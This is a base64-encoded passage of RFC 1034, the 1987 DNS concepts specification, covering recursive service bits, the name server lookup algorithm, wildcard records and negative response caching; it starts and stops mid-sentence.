ncmVlbWVudCBpcyBuZWdvdGlhdGVkIHRocm91Z2gKdGhlIHVzZSBvZiB0d28gYml0cyBpbiBxdWVyeSBhbmQgcmVzcG9uc2UgbWVzc2FnZXM6CgogICAtIFRoZSByZWN1cnNpb24gYXZhaWxhYmxlLCBvciBSQSBiaXQsIGlzIHNldCBvciBjbGVhcmVkIGJ5IGEKICAgICBuYW1lIHNlcnZlciBpbiBhbGwgcmVzcG9uc2VzLiAgVGhlIGJpdCBpcyB0cnVlIGlmIHRoZSBuYW1lCiAgICAgc2VydmVyIGlzIHdpbGxpbmcgdG8gcHJvdmlkZSByZWN1cnNpdmUgc2VydmljZSBmb3IgdGhlIGNsaWVudCwKICAgICByZWdhcmRsZXNzIG9mIHdoZXRoZXIgdGhlIGNsaWVudCByZXF1ZXN0ZWQgcmVjdXJzaXZlIHNlcnZpY2UuCiAgICAgVGhhdCBpcywgUkEgc2lnbmFscyBhdmFpbGFiaWxpdHkgcmF0aGVyIHRoYW4gdXNlLgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAyMl0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgogICAtIFF1ZXJpZXMgY29udGFpbiBhIGJpdCBjYWxsZWQgcmVjdXJzaW9uIGRlc2lyZWQgb3IgUkQuICBUaGlzCiAgICAgYml0IHNwZWNpZmllcyBzcGVjaWZpZXMgd2hldGhlciB0aGUgcmVxdWVzdGVyIHdhbnRzIHJlY3Vyc2l2ZQogICAgIHNlcnZpY2UgZm9yIHRoaXMgcXVlcnkuICBDbGllbnRzIG1heSByZXF1ZXN0IHJlY3Vyc2l2ZSBzZXJ2aWNlCiAgICAgZnJvbSBhbnkgbmFtZSBzZXJ2ZXIsIHRob3VnaCB0aGV5IHNob3VsZCBkZXBlbmQgdXBvbiByZWNlaXZpbmcKICAgICBpdCBvbmx5IGZyb20gc2VydmVycyB3aGljaCBoYXZlIHByZXZpb3VzbHkgc2VudCBhbiBSQSwgb3IKICAgICBzZXJ2ZXJzIHdoaWNoIGhhdmUgYWdyZWVkIHRvIHByb3ZpZGUgc2VydmljZSB0aHJvdWdoIHByaXZhdGUKICAgICBhZ3JlZW1lbnQgb3Igc29tZSBvdGhlciBtZWFucyBvdXRzaWRlIG9mIHRoZSBETlMgcHJvdG9jb2wuCgpUaGUgcmVjdXJzaXZlIG1vZGUgb2NjdXJzIHdoZW4gYSBxdWVyeSB3aXRoIFJEIHNldCBhcnJpdmVzIGF0IGEgc2VydmVyCndoaWNoIGlzIHdpbGxpbmcgdG8gcHJvdmlkZSByZWN1cnNpdmUgc2VydmljZTsgdGhlIGNsaWVudCBjYW4gdmVyaWZ5CnRoYXQgcmVjdXJzaXZlIG1vZGUgd2FzIHVzZWQgYnkgY2hlY2tpbmcgdGhhdCBib3RoIFJBIGFuZCBSRCBhcmUgc2V0IGluCnRoZSByZXBseS4gIE5vdGUgdGhhdCB0aGUgbmFtZSBzZXJ2ZXIgc2hvdWxkIG5ldmVyIHBlcmZvcm0gcmVjdXJzaXZlCnNlcnZpY2UgdW5sZXNzIGFza2VkIHZpYSBSRCwgc2luY2UgdGhpcyBpbnRlcmZlcmVzIHdpdGggdHJvdWJsZSBzaG9vdGluZwpvZiBuYW1lIHNlcnZlcnMgYW5kIHRoZWlyIGRhdGFiYXNlcy4KCklmIHJlY3Vyc2l2ZSBzZXJ2aWNlIGlzIHJlcXVlc3RlZCBhbmQgYXZhaWxhYmxlLCB0aGUgcmVjdXJzaXZlIHJlc3BvbnNlCnRvIGEgcXVlcnkgd2lsbCBiZSBvbmUgb2YgdGhlIGZvbGxvd2luZzoKCiAgIC0gVGhlIGFuc3dlciB0byB0aGUgcXVlcnksIHBvc3NpYmx5IHByZWZhY2UgYnkgb25lIG9yIG1vcmUgQ05BTUUKICAgICBSUnMgdGhhdCBzcGVjaWZ5IGFsaWFzZXMgZW5jb3VudGVyZWQgb24gdGhlIHdheSB0byBhbiBhbnN3ZXIuCgogICAtIEEgbmFtZSBlcnJvciBpbmRpY2F0aW5nIHRoYXQgdGhlIG5hbWUgZG9lcyBub3QgZXhpc3QuICBUaGlzCiAgICAgbWF5IGluY2x1ZGUgQ05BTUUgUlJzIHRoYXQgaW5kaWNhdGUgdGhhdCB0aGUgb3JpZ2luYWwgcXVlcnkKICAgICBuYW1lIHdhcyBhbiBhbGlhcyBmb3IgYSBuYW1lIHdoaWNoIGRvZXMgbm90IGV4aXN0LgoKICAgLSBBIHRlbXBvcmFyeSBlcnJvciBpbmRpY2F0aW9uLgoKSWYgcmVjdXJzaXZlIHNlcnZpY2UgaXMgbm90IHJlcXVlc3RlZCBvciBpcyBub3QgYXZhaWxhYmxlLCB0aGUgbm9uLQpyZWN1cnNpdmUgcmVzcG9uc2Ugd2lsbCBiZSBvbmUgb2YgdGhlIGZvbGxvd2luZzoKCiAgIC0gQW4gYXV0aG9yaXRhdGl2ZSBuYW1lIGVycm9yIGluZGljYXRpbmcgdGhhdCB0aGUgbmFtZSBkb2VzIG5vdAogICAgIGV4aXN0LgoKICAgLSBBIHRlbXBvcmFyeSBlcnJvciBpbmRpY2F0aW9uLgoKICAgLSBTb21lIGNvbWJpbmF0aW9uIG9mOgoKICAgICBSUnMgdGhhdCBhbnN3ZXIgdGhlIHF1ZXN0aW9uLCB0b2dldGhlciB3aXRoIGFuIGluZGljYXRpb24KICAgICB3aGV0aGVyIHRoZSBkYXRhIGNvbWVzIGZyb20gYSB6b25lIG9yIGlzIGNhY2hlZC4KCiAgICAgQSByZWZlcnJhbCB0byBuYW1lIHNlcnZlcnMgd2hpY2ggaGF2ZSB6b25lcyB3aGljaCBhcmUgY2xvc2VyCiAgICAgYW5jZXN0b3JzIHRvIHRoZSBuYW1lIHRoYW4gdGhlIHNlcnZlciBzZW5kaW5nIHRoZSByZXBseS4KCiAgIC0gUlJzIHRoYXQgdGhlIG5hbWUgc2VydmVyIHRoaW5rcyB3aWxsIHByb3ZlIHVzZWZ1bCB0byB0aGUKICAgICByZXF1ZXN0ZXIuCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDIzXQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCjQuMy4yLiBBbGdvcml0aG0KClRoZSBhY3R1YWwgYWxnb3JpdGhtIHVzZWQgYnkgdGhlIG5hbWUgc2VydmVyIHdpbGwgZGVwZW5kIG9uIHRoZSBsb2NhbCBPUwphbmQgZGF0YSBzdHJ1Y3R1cmVzIHVzZWQgdG8gc3RvcmUgUlJzLiAgVGhlIGZvbGxvd2luZyBhbGdvcml0aG0gYXNzdW1lcwp0aGF0IHRoZSBSUnMgYXJlIG9yZ2FuaXplZCBpbiBzZXZlcmFsIHRyZWUgc3RydWN0dXJlcywgb25lIGZvciBlYWNoCnpvbmUsIGFuZCBhbm90aGVyIGZvciB0aGUgY2FjaGU6CgogICAxLiBTZXQgb3IgY2xlYXIgdGhlIHZhbHVlIG9mIHJlY3Vyc2lvbiBhdmFpbGFibGUgaW4gdGhlIHJlc3BvbnNlCiAgICAgIGRlcGVuZGluZyBvbiB3aGV0aGVyIHRoZSBuYW1lIHNlcnZlciBpcyB3aWxsaW5nIHRvIHByb3ZpZGUKICAgICAgcmVjdXJzaXZlIHNlcnZpY2UuICBJZiByZWN1cnNpdmUgc2VydmljZSBpcyBhdmFpbGFibGUgYW5kCiAgICAgIHJlcXVlc3RlZCB2aWEgdGhlIFJEIGJpdCBpbiB0aGUgcXVlcnksIGdvIHRvIHN0ZXAgNSwKICAgICAgb3RoZXJ3aXNlIHN0ZXAgMi4KCiAgIDIuIFNlYXJjaCB0aGUgYXZhaWxhYmxlIHpvbmVzIGZvciB0aGUgem9uZSB3aGljaCBpcyB0aGUgbmVhcmVzdAogICAgICBhbmNlc3RvciB0byBRTkFNRS4gIElmIHN1Y2ggYSB6b25lIGlzIGZvdW5kLCBnbyB0byBzdGVwIDMsCiAgICAgIG90aGVyd2lzZSBzdGVwIDQuCgogICAzLiBTdGFydCBtYXRjaGluZyBkb3duLCBsYWJlbCBieSBsYWJlbCwgaW4gdGhlIHpvbmUuICBUaGUKICAgICAgbWF0Y2hpbmcgcHJvY2VzcyBjYW4gdGVybWluYXRlIHNldmVyYWwgd2F5czoKCiAgICAgICAgIGEuIElmIHRoZSB3aG9sZSBvZiBRTkFNRSBpcyBtYXRjaGVkLCB3ZSBoYXZlIGZvdW5kIHRoZQogICAgICAgICAgICBub2RlLgoKICAgICAgICAgICAgSWYgdGhlIGRhdGEgYXQgdGhlIG5vZGUgaXMgYSBDTkFNRSwgYW5kIFFUWVBFIGRvZXNuJ3QKICAgICAgICAgICAgbWF0Y2ggQ05BTUUsIGNvcHkgdGhlIENOQU1FIFJSIGludG8gdGhlIGFuc3dlciBzZWN0aW9uCiAgICAgICAgICAgIG9mIHRoZSByZXNwb25zZSwgY2hhbmdlIFFOQU1FIHRvIHRoZSBjYW5vbmljYWwgbmFtZSBpbgogICAgICAgICAgICB0aGUgQ05BTUUgUlIsIGFuZCBnbyBiYWNrIHRvIHN0ZXAgMS4KCiAgICAgICAgICAgIE90aGVyd2lzZSwgY29weSBhbGwgUlJzIHdoaWNoIG1hdGNoIFFUWVBFIGludG8gdGhlCiAgICAgICAgICAgIGFuc3dlciBzZWN0aW9uIGFuZCBnbyB0byBzdGVwIDYuCgogICAgICAgICBiLiBJZiBhIG1hdGNoIHdvdWxkIHRha2UgdXMgb3V0IG9mIHRoZSBhdXRob3JpdGF0aXZlIGRhdGEsCiAgICAgICAgICAgIHdlIGhhdmUgYSByZWZlcnJhbC4gIFRoaXMgaGFwcGVucyB3aGVuIHdlIGVuY291bnRlciBhCiAgICAgICAgICAgIG5vZGUgd2l0aCBOUyBSUnMgbWFya2luZyBjdXRzIGFsb25nIHRoZSBib3R0b20gb2YgYQogICAgICAgICAgICB6b25lLgoKICAgICAgICAgICAgQ29weSB0aGUgTlMgUlJzIGZvciB0aGUgc3Viem9uZSBpbnRvIHRoZSBhdXRob3JpdHkKICAgICAgICAgICAgc2VjdGlvbiBvZiB0aGUgcmVwbHkuICBQdXQgd2hhdGV2ZXIgYWRkcmVzc2VzIGFyZQogICAgICAgICAgICBhdmFpbGFibGUgaW50byB0aGUgYWRkaXRpb25hbCBzZWN0aW9uLCB1c2luZyBnbHVlIFJScwogICAgICAgICAgICBpZiB0aGUgYWRkcmVzc2VzIGFyZSBub3QgYXZhaWxhYmxlIGZyb20gYXV0aG9yaXRhdGl2ZQogICAgICAgICAgICBkYXRhIG9yIHRoZSBjYWNoZS4gIEdvIHRvIHN0ZXAgNC4KCiAgICAgICAgIGMuIElmIGF0IHNvbWUgbGFiZWwsIGEgbWF0Y2ggaXMgaW1wb3NzaWJsZSAoaS5lLiwgdGhlCiAgICAgICAgICAgIGNvcnJlc3BvbmRpbmcgbGFiZWwgZG9lcyBub3QgZXhpc3QpLCBsb29rIHRvIHNlZSBpZiBhCiAgICAgICAgICAgIHRoZSAiKiIgbGFiZWwgZXhpc3RzLgoKICAgICAgICAgICAgSWYgdGhlICIqIiBsYWJlbCBkb2VzIG5vdCBleGlzdCwgY2hlY2sgd2hldGhlciB0aGUgbmFtZQogICAgICAgICAgICB3ZSBhcmUgbG9va2luZyBmb3IgaXMgdGhlIG9yaWdpbmFsIFFOQU1FIGluIHRoZSBxdWVyeQoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAyNF0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgogICAgICAgICAgICBvciBhIG5hbWUgd2UgaGF2ZSBmb2xsb3dlZCBkdWUgdG8gYSBDTkFNRS4gIElmIHRoZSBuYW1lCiAgICAgICAgICAgIGlzIG9yaWdpbmFsLCBzZXQgYW4gYXV0aG9yaXRhdGl2ZSBuYW1lIGVycm9yIGluIHRoZQogICAgICAgICAgICByZXNwb25zZSBhbmQgZXhpdC4gIE90aGVyd2lzZSBqdXN0IGV4aXQuCgogICAgICAgICAgICBJZiB0aGUgIioiIGxhYmVsIGRvZXMgZXhpc3QsIG1hdGNoIFJScyBhdCB0aGF0IG5vZGUKICAgICAgICAgICAgYWdhaW5zdCBRVFlQRS4gIElmIGFueSBtYXRjaCwgY29weSB0aGVtIGludG8gdGhlIGFuc3dlcgogICAgICAgICAgICBzZWN0aW9uLCBidXQgc2V0IHRoZSBvd25lciBvZiB0aGUgUlIgdG8gYmUgUU5BTUUsIGFuZAogICAgICAgICAgICBub3QgdGhlIG5vZGUgd2l0aCB0aGUgIioiIGxhYmVsLiAgR28gdG8gc3RlcCA2LgoKICAgNC4gU3RhcnQgbWF0Y2hpbmcgZG93biBpbiB0aGUgY2FjaGUuICBJZiBRTkFNRSBpcyBmb3VuZCBpbiB0aGUKICAgICAgY2FjaGUsIGNvcHkgYWxsIFJScyBhdHRhY2hlZCB0byBpdCB0aGF0IG1hdGNoIFFUWVBFIGludG8gdGhlCiAgICAgIGFuc3dlciBzZWN0aW9uLiAgSWYgdGhlcmUgd2FzIG5vIGRlbGVnYXRpb24gZnJvbQogICAgICBhdXRob3JpdGF0aXZlIGRhdGEsIGxvb2sgZm9yIHRoZSBiZXN0IG9uZSBmcm9tIHRoZSBjYWNoZSwgYW5kCiAgICAgIHB1dCBpdCBpbiB0aGUgYXV0aG9yaXR5IHNlY3Rpb24uICBHbyB0byBzdGVwIDYuCgogICA1LiBVc2luZyB0aGUgbG9jYWwgcmVzb2x2ZXIgb3IgYSBjb3B5IG9mIGl0cyBhbGdvcml0aG0gKHNlZQogICAgICByZXNvbHZlciBzZWN0aW9uIG9mIHRoaXMgbWVtbykgdG8gYW5zd2VyIHRoZSBxdWVyeS4gIFN0b3JlCiAgICAgIHRoZSByZXN1bHRzLCBpbmNsdWRpbmcgYW55IGludGVybWVkaWF0ZSBDTkFNRXMsIGluIHRoZSBhbnN3ZXIKICAgICAgc2VjdGlvbiBvZiB0aGUgcmVzcG9uc2UuCgogICA2LiBVc2luZyBsb2NhbCBkYXRhIG9ubHksIGF0dGVtcHQgdG8gYWRkIG90aGVyIFJScyB3aGljaCBtYXkgYmUKICAgICAgdXNlZnVsIHRvIHRoZSBhZGRpdGlvbmFsIHNlY3Rpb24gb2YgdGhlIHF1ZXJ5LiAgRXhpdC4KCjQuMy4zLiBXaWxkY2FyZHMKCkluIHRoZSBwcmV2aW91cyBhbGdvcml0aG0sIHNwZWNpYWwgdHJlYXRtZW50IHdhcyBnaXZlbiB0byBSUnMgd2l0aCBvd25lcgpuYW1lcyBzdGFydGluZyB3aXRoIHRoZSBsYWJlbCAiKiIuICBTdWNoIFJScyBhcmUgY2FsbGVkIHdpbGRjYXJkcy4KV2lsZGNhcmQgUlJzIGNhbiBiZSB0aG91Z2h0IG9mIGFzIGluc3RydWN0aW9ucyBmb3Igc3ludGhlc2l6aW5nIFJScy4KV2hlbiB0aGUgYXBwcm9wcmlhdGUgY29uZGl0aW9ucyBhcmUgbWV0LCB0aGUgbmFtZSBzZXJ2ZXIgY3JlYXRlcyBSUnMKd2l0aCBhbiBvd25lciBuYW1lIGVxdWFsIHRvIHRoZSBxdWVyeSBuYW1lIGFuZCBjb250ZW50cyB0YWtlbiBmcm9tIHRoZQp3aWxkY2FyZCBSUnMuCgpUaGlzIGZhY2lsaXR5IGlzIG1vc3Qgb2Z0ZW4gdXNlZCB0byBjcmVhdGUgYSB6b25lIHdoaWNoIHdpbGwgYmUgdXNlZCB0bwpmb3J3YXJkIG1haWwgZnJvbSB0aGUgSW50ZXJuZXQgdG8gc29tZSBvdGhlciBtYWlsIHN5c3RlbS4gIFRoZSBnZW5lcmFsCmlkZWEgaXMgdGhhdCBhbnkgbmFtZSBpbiB0aGF0IHpvbmUgd2hpY2ggaXMgcHJlc2VudGVkIHRvIHNlcnZlciBpbiBhCnF1ZXJ5IHdpbGwgYmUgYXNzdW1lZCB0byBleGlzdCwgd2l0aCBjZXJ0YWluIHByb3BlcnRpZXMsIHVubGVzcyBleHBsaWNpdApldmlkZW5jZSBleGlzdHMgdG8gdGhlIGNvbnRyYXJ5LiAgTm90ZSB0aGF0IHRoZSB1c2Ugb2YgdGhlIHRlcm0gem9uZQpoZXJlLCBpbnN0ZWFkIG9mIGRvbWFpbiwgaXMgaW50ZW50aW9uYWw7IHN1Y2ggZGVmYXVsdHMgZG8gbm90IHByb3BhZ2F0ZQphY3Jvc3Mgem9uZSBib3VuZGFyaWVzLCBhbHRob3VnaCBhIHN1YnpvbmUgbWF5IGNob29zZSB0byBhY2hpZXZlIHRoYXQKYXBwZWFyYW5jZSBieSBzZXR0aW5nIHVwIHNpbWlsYXIgZGVmYXVsdHMuCgpUaGUgY29udGVudHMgb2YgdGhlIHdpbGRjYXJkIFJScyBmb2xsb3dzIHRoZSB1c3VhbCBydWxlcyBhbmQgZm9ybWF0cyBmb3IKUlJzLiAgVGhlIHdpbGRjYXJkcyBpbiB0aGUgem9uZSBoYXZlIGFuIG93bmVyIG5hbWUgdGhhdCBjb250cm9scyB0aGUKcXVlcnkgbmFtZXMgdGhleSB3aWxsIG1hdGNoLiAgVGhlIG93bmVyIG5hbWUgb2YgdGhlIHdpbGRjYXJkIFJScyBpcyBvZgp0aGUgZm9ybSAiKi48YW55ZG9tYWluPiIsIHdoZXJlIDxhbnlkb21haW4+IGlzIGFueSBkb21haW4gbmFtZS4KPGFueWRvbWFpbj4gc2hvdWxkIG5vdCBjb250YWluIG90aGVyICogbGFiZWxzLCBhbmQgc2hvdWxkIGJlIGluIHRoZQphdXRob3JpdGF0aXZlIGRhdGEgb2YgdGhlIHpvbmUuICBUaGUgd2lsZGNhcmRzIHBvdGVudGlhbGx5IGFwcGx5IHRvCmRlc2NlbmRhbnRzIG9mIDxhbnlkb21haW4+LCBidXQgbm90IHRvIDxhbnlkb21haW4+IGl0c2VsZi4gIEFub3RoZXIgd2F5CgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDI1XQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCnRvIGxvb2sgYXQgdGhpcyBpcyB0aGF0IHRoZSAiKiIgbGFiZWwgYWx3YXlzIG1hdGNoZXMgYXQgbGVhc3Qgb25lIHdob2xlCmxhYmVsIGFuZCBzb21ldGltZXMgbW9yZSwgYnV0IGFsd2F5cyB3aG9sZSBsYWJlbHMuCgpXaWxkY2FyZCBSUnMgZG8gbm90IGFwcGx5OgoKICAgLSBXaGVuIHRoZSBxdWVyeSBpcyBpbiBhbm90aGVyIHpvbmUuICBUaGF0IGlzLCBkZWxlZ2F0aW9uIGNhbmNlbHMKICAgICB0aGUgd2lsZGNhcmQgZGVmYXVsdHMuCgogICAtIFdoZW4gdGhlIHF1ZXJ5IG5hbWUgb3IgYSBuYW1lIGJldHdlZW4gdGhlIHdpbGRjYXJkIGRvbWFpbiBhbmQKICAgICB0aGUgcXVlcnkgbmFtZSBpcyBrbm93IHRvIGV4aXN0LiAgRm9yIGV4YW1wbGUsIGlmIGEgd2lsZGNhcmQKICAgICBSUiBoYXMgYW4gb3duZXIgbmFtZSBvZiAiKi5YIiwgYW5kIHRoZSB6b25lIGFsc28gY29udGFpbnMgUlJzCiAgICAgYXR0YWNoZWQgdG8gQi5YLCB0aGUgd2lsZGNhcmRzIHdvdWxkIGFwcGx5IHRvIHF1ZXJpZXMgZm9yIG5hbWUKICAgICBaLlggKHByZXN1bWluZyB0aGVyZSBpcyBubyBleHBsaWNpdCBpbmZvcm1hdGlvbiBmb3IgWi5YKSwgYnV0CiAgICAgbm90IHRvIEIuWCwgQS5CLlgsIG9yIFguCgpBICogbGFiZWwgYXBwZWFyaW5nIGluIGEgcXVlcnkgbmFtZSBoYXMgbm8gc3BlY2lhbCBlZmZlY3QsIGJ1dCBjYW4gYmUKdXNlZCB0byB0ZXN0IGZvciB3aWxkY2FyZHMgaW4gYW4gYXV0aG9yaXRhdGl2ZSB6b25lOyBzdWNoIGEgcXVlcnkgaXMgdGhlCm9ubHkgd2F5IHRvIGdldCBhIHJlc3BvbnNlIGNvbnRhaW5pbmcgUlJzIHdpdGggYW4gb3duZXIgbmFtZSB3aXRoICogaW4KaXQuICBUaGUgcmVzdWx0IG9mIHN1Y2ggYSBxdWVyeSBzaG91bGQgbm90IGJlIGNhY2hlZC4KCk5vdGUgdGhhdCB0aGUgY29udGVudHMgb2YgdGhlIHdpbGRjYXJkIFJScyBhcmUgbm90IG1vZGlmaWVkIHdoZW4gdXNlZCB0bwpzeW50aGVzaXplIFJScy4KClRvIGlsbHVzdHJhdGUgdGhlIHVzZSBvZiB3aWxkY2FyZCBSUnMsIHN1cHBvc2UgYSBsYXJnZSBjb21wYW55IHdpdGggYQpsYXJnZSwgbm9uLUlQL1RDUCwgbmV0d29yayB3YW50ZWQgdG8gY3JlYXRlIGEgbWFpbCBnYXRld2F5LiAgSWYgdGhlCmNvbXBhbnkgd2FzIGNhbGxlZCBYLkNPTSwgYW5kIElQL1RDUCBjYXBhYmxlIGdhdGV3YXkgbWFjaGluZSB3YXMgY2FsbGVkCkEuWC5DT00sIHRoZSBmb2xsb3dpbmcgUlJzIG1pZ2h0IGJlIGVudGVyZWQgaW50byB0aGUgQ09NIHpvbmU6CgogICAgWC5DT00gICAgICAgICAgIE1YICAgICAgMTAgICAgICBBLlguQ09NCgogICAgKi5YLkNPTSAgICAgICAgIE1YICAgICAgMTAgICAgICBBLlguQ09NCgogICAgQS5YLkNPTSAgICAgICAgIEEgICAgICAgMS4yLjMuNAogICAgQS5YLkNPTSAgICAgICAgIE1YICAgICAgMTAgICAgICBBLlguQ09NCgogICAgKi5BLlguQ09NICAgICAgIE1YICAgICAgMTAgICAgICBBLlguQ09NCgpUaGlzIHdvdWxkIGNhdXNlIGFueSBNWCBxdWVyeSBmb3IgYW55IGRvbWFpbiBuYW1lIGVuZGluZyBpbiBYLkNPTSB0bwpyZXR1cm4gYW4gTVggUlIgcG9pbnRpbmcgYXQgQS5YLkNPTS4gIFR3byB3aWxkY2FyZCBSUnMgYXJlIHJlcXVpcmVkCnNpbmNlIHRoZSBlZmZlY3Qgb2YgdGhlIHdpbGRjYXJkIGF0ICouWC5DT00gaXMgaW5oaWJpdGVkIGluIHRoZSBBLlguQ09NCnN1YnRyZWUgYnkgdGhlIGV4cGxpY2l0IGRhdGEgZm9yIEEuWC5DT00uICBOb3RlIGFsc28gdGhhdCB0aGUgZXhwbGljaXQKTVggZGF0YSBhdCBYLkNPTSBhbmQgQS5YLkNPTSBpcyByZXF1aXJlZCwgYW5kIHRoYXQgbm9uZSBvZiB0aGUgUlJzIGFib3ZlCndvdWxkIG1hdGNoIGEgcXVlcnkgbmFtZSBvZiBYWC5DT00uCgo0LjMuNC4gTmVnYXRpdmUgcmVzcG9uc2UgY2FjaGluZyAoT3B0aW9uYWwpCgpUaGUgRE5TIHByb3ZpZGVzIGFuIG9wdGlvbmFsIHNlcnZpY2Ugd2hpY2ggYWxsb3dzIG5hbWUgc2VydmVycyB0bwpkaXN0cmlidXRlLCBhbmQgcmVzb2x2ZXJzIHRvIGNhY2hlLCBuZWdhdGl2ZSByZXN1bHRzIHdpdGggVFRMcy4gIEZvcgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAyNl0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgpleGFtcGxlLCBhIG5hbWUgc2VydmVyIGNhbiBkaXN0cmlidXRlIGEgVFRMIGFsb25nIHdpdGggYSBuYW1lIGVycm9yCmluZGljYXRpb24sIGFuZCBhIHJlc29sdmVyIHJlY2VpdmluZyBzdWNoIGluZm9ybWF0aW9uIGlzIGFsbG93ZWQgdG8KYXNzdW1lIHRoYXQgdGhlIG5hbWUgZG9lcyBub3QgZXhpc3QgZHVyaW5nIHRoZSBUVEwgcGVyaW9kIHdpdGhvdXQKY29uc3VsdGluZyBhdXRob3JpdGF0aXZlIGRhdGEuICBTaW1pbGFybHksIGEgcmVzb2x2ZXIgY2FuIG1ha2UgYSBxdWVyeQp3aXRoIGEgUVRZUEUgd2hpY2ggbWF0Y2hlcyBtdWx0aXBsZSB0eXBlcywgYW5kIGNhY2hlIHRoZSBmYWN0IHRoYXQgc29tZQpvZiB0aGUgdHlwZXMgYXJlIG5vdCBwcmVzZW50LgoKVGhpcyBmZWF0dXJlIGNhbiBiZSBwYXJ0aWN1bGFybHkgaW1wb3J0YW50IGluIGEgc3lzdGVtIHdoaWNoIGltcGxlbWVudHMKbmFtaW5nIHNob3J0aGFuZHMgdGhhdCB1c2Ugc2VhcmNoIGxpc3RzIGJlYWN1c2UgYSBwb3B1bGFyIHNob3J0aGFuZCwKd2hpY2ggaGFwcGVucyB0byByZXF1aXJlIGEgc3VmZml4IHRvd2FyZCB0aGUgZW5kIG9mIHRoZSBzZWFyY2ggbGlzdCwKd2lsbCBnZW5lcmF0ZSBtdWx0aXBsZSBuYW1lIGVycm9ycyB3aGVuZXZlciBpdCBpcyB1c2VkLgoKVGhlIG1ldGhvZCBpcyB0aGF0IGEgbmFtZSBzZXJ2ZXIgbWF5IGFkZCBhbiBTT0EgUlIgdG8gdGhlIGFkZGl0aW9uYWwKc2VjdGlvbiBvZiBhIHJlc3BvbnNlIHdoZW4gdGhhdCByZXNwb25zZSBpcyBhdXRob3JpdGF0aXZlLiAgVGhlIFNPQSBtdXN0CmJlIHRoYXQgb2YgdGhlIHpvbmUgd2hpY2ggd2FzIHRoZSBzb3VyY2Ugb2YgdGhlIGF1dGhvcml0YXRpdmUgZGF0YSBpbgp0aGUgYW5zd2VyIHNlY3Rpb24sIG9yIG5hbWUgZXJyb3IgaWYgYXBwbGljYWJsZS4gIFRoZSBNSU5JTVVNIGZpZWxkIG9mCnRoZSBTT0EgY29udHJvbHMgdGhlIGxlbmd0aCBvZiB0aW1lIHRoYXQgdGhlIG5lZ2F0aXZlIHJlc3VsdCBtYXkgYmUKY2FjaGVkLgoKTm90ZSB0aGF0IGluIHNvbWUgY2lyY3Vtc3RhbmNlcywgdGhlIGFuc3dlciBzZWN0aW9uIG1heSBjb250YWluIG11bHRpcGxlCm93bmVyIG5hbWVzLiAgSW4gdGhpcyBjYXNlLCB0aGUgU09BIG1lY2hhbmlzbSBzaG91bGQgb25seSBiZSB1c2VkIGZvcgp0aGUgZGF0YSB3aGljaCBtYXRjaGVzIFFOQU1FLCB3aGljaCBpcyB0aGUgb25seSBhdXRob3JpdGF0aXZlIGRhdGEgaW4KdGhpcyBzZWN0aW9uLgoKTmFtZSBzZXJ2ZXJzIGFuZCByZXNvbHZlcnMgc2hvdWxkIG5ldmVyIGF0dGVtcHQgdG8gYWRkIFNPQXMgdG8gdGhlCmFkZGl0aW9uYWwgc2VjdGlvbiBvZiBhIG5vbi1hdXRob3JpdGF0aXZlIHJlc3BvbnNlLCBvciBhdHRlbXB0IHRvIGluZmVyCnJlc3VsdHMgd2hpY2ggYXJlIG5vdCBkaXJlY3RseSBzdGF0ZWQgaW4gYW4gYXV0aG9yaXRhdGl2ZSByZXNwb25zZS4KVGhlcmUgYXJlIHNldmVyYWwgcmVhc29ucyBmb3IgdGhpcywgaW5jbHVkaW5nOiBjYWNoZWQgaW5mb3JtYXRpb24gaXNuJ3QKdXN1YWxseSBlbm91Z2ggdG8gbWF0Y2ggdXAgUlJzIGFuZCB0aGVpciB6b25lIG5hbWVzLCBTT0EgUlJzIG1heSBiZQpjYWNoZWQgZHVlIHRvIGRpcmVjdCBTT0EgcXVlcmllcywgYW5kIG5hbWUgc2VydmVycyBhcmUgbm90IHJlcXVpcmVkIHRvCm91dHB1dCB0aGUgU09BcyBpbiB0aGUgYXV0aG9yaXR5IHNlY3Rpb24uCgpUaGlzIGZlYXR1cmUgaXMgb3B0aW9uYWwsIGFsdGhvdWdoIGEgcmVmaW5lZCB2ZXJzaW9uIGlzIGV4cGVjdGVkIHRvCmJlY29tZSBwYXJ0IG9mIHRoZSBzdGFuZGFyZCBwcm90b2NvbCBpbiB0aGUgZnV0dXJlLiAgTmFtZSBzZXJ2ZXJzIGFyZQpub3QgcmVxdWlyZWQgdG8gYWRkIHRoZSBTT0EgUlJzIGluIGFsbCBhdXRob3JpdGF0aXZlIHJlc3BvbnNlcywgbm9yIGFyZQpyZXNvbHZlcnMgcmVxdWlyZWQgdG8gY2FjaGUgbmVnYXRpdmUgcmVzdWx0cy4gIEJvdGggYXJlIHJlY29tbWVuZGVkLgpBbGwgcmVzb2x2ZXJzIGFuZCByZWN1cnNpdmUgbmFtZSBzZXJ2ZXJzIGFyZSByZXF1aXJlZCB0byBhdCBsZWFzdCBiZQphYmxlIHRvIGlnbm9yZSB0aGUgU09BIFJSIHdoZW4gaXQgaXMgcHJlc2VudCBpbiBhIHJlc3BvbnNlLgoKU29tZSBleHBlcmltZW50cyBoYXZlIGFs